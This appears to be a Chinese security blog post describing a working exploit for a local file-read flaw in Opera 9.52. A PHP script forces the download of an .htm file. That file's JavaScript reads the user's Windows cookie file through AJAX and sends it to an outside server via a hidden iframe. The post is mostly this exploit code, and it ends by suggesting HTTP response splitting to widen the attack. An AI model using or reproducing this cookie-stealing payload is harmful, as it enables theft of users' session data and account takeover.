by 空虚浪子心 http://inbreak.net
在前文《opera9.52使用ajax读取本地文件漏洞》
中,提到了opera的ajax读取本地文件漏洞。
但是利用方式上,比较狭隘。
很少人会专门下载htm文件到本地,然后打开。
但是动态语言(php,asp等)只要修改header,就可以指定让用户下载。
我们设计如下代码的php文件:
b.php代码
- <?
- /*
-
opera 9.52 use ajax read local txt file and upload exp
- inbreak.net
- author kxlzx@xiaotou.org 2009-1-6
- */
- header("Content-Disposition: attachment;filename=kxlzx.htm");
- header("Content-type: application/kxlzx");
- ?>
- <iframe id="framekxlzx" width=0 height=0></iframe>
- <script>
- var xmlHttp;
- function createXMLHttp(){
- if(window.XMLHttpRequest){
- xmlHttp = new XMLHttpRequest();
- }
- else if(window.ActiveXObject){
- xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
- }
- }
- function startRequest(doUrl){
- createXMLHttp();
- xmlHttp.onreadystatechange = handleStateChange;
- xmlHttp.open("GET", doUrl, true);
- xmlHttp.send(null);
- }
- function handleStateChange(){
- if (xmlHttp.readyState == 4 ){
- var strResponse = "";
- setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
- }
- }
- function doMyAjax(user,file)
- {
- var time = Math.random();
- var strPer = ‘file://localhost/C:/Documents%20and%20Settings/’+user+‘/Cookies/’+file+‘?time=’+time;
- startRequest(strPer);
- }
- function framekxlzxPost(text)
- {
- document.getElementById(‘framekxlzx’).src="http://inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
- alert(/ok/);
- }
- doMyAjax(‘administrator’,‘administrator@alibaba[1].txt’);
- </script>
其他代码和前文一致,但是多出了
- header("Content-Disposition: attachment;filename=kxlzx.htm");
- header("Content-type: application/kxlzx");
这段。
第一行定义http头,下载文件的文件名默认为kxlzx.htm。
因为如果你下载了其他类型的文件,windows会默认让其他类型的文件程序打开。
但是定义了htm文件名后,windows就会让opera打开这个文件。
注意,这里已经下载了文件,所以域属于本地域。
第二行定义了mm文件头(呃。。。),随便写了一个不存在的,opera就会自动下载该文件了。
使用opera打开测试地址:
http://inbreak.net/kxlzxtest/testxss/b.php
我想,看到这个框,用户不管是点了打开还是点了保存,最终打开的时候,都是使用opera在本地域下打开的。
比较猥琐的利用方法。
更猥琐的方式,大家可以结合HTTP Response Splitting 攻击 ,在http头加上以上两段内容,利用范围更广。
0 条评论。